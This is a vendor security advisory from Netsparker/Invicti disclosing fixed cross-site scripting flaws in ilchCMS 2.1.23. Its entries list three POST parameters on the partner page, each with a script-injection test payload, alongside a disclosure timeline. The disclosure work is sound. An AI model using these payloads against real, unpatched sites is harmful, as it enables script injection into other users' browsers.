Information
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Advisory by Netsparker (now Invicti)
Name: Multiple Cross-site Scripting Vulnerabilities in ilchCMS 2.1.23
Affected Software: ilchCMS
Affected Versions: 2.1.23
Vendor Homepage: https://www.ilch.de/
Vulnerability Type: Cross-site Scripting
Severity: Medium
Status: Fixed
CVSS Score (3.0): AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
Invicti Advisory Reference: NS-19-016

Technical Details
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URL : http://{DOMAIN}/{PATH-OF-ILCHCMS}/index.php/partner/index
Parameter Name: Link
Parameter Type: Post
Attack Pattern: '"@--></style></scRipt><scRipt>alert(0x00BFFE)</scRipt>

URL : http://{DOMAIN}/{PATH-OF-ILCHCMS}/index.php/partner/index
Parameter Name: Name
Parameter Type: Post
Attack Pattern: '"@--></style></scRipt><scRipt>alert(0x00BFFE)</scRipt>

URL : http://{DOMAIN}/{PATH-OF-ILCHCMS}/index.php/partner/index
Parameter Name: Banner
Parameter Type: Post
Attack Pattern: '"@--></style></scRipt><scRipt>alert(0x00BFFE)</scRipt>

Note

  • Auth: No
  • Token: Yes

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline
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12th July 2019 - First Contact
16th July 2019 - Vendor Fixed
4th November 2019 - Advisory Released

Credits & Authors
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These issues have been discovered by Zekvan Arslan while testing the Invicti Web Application Security Scanner.

About Invicti
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Invicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.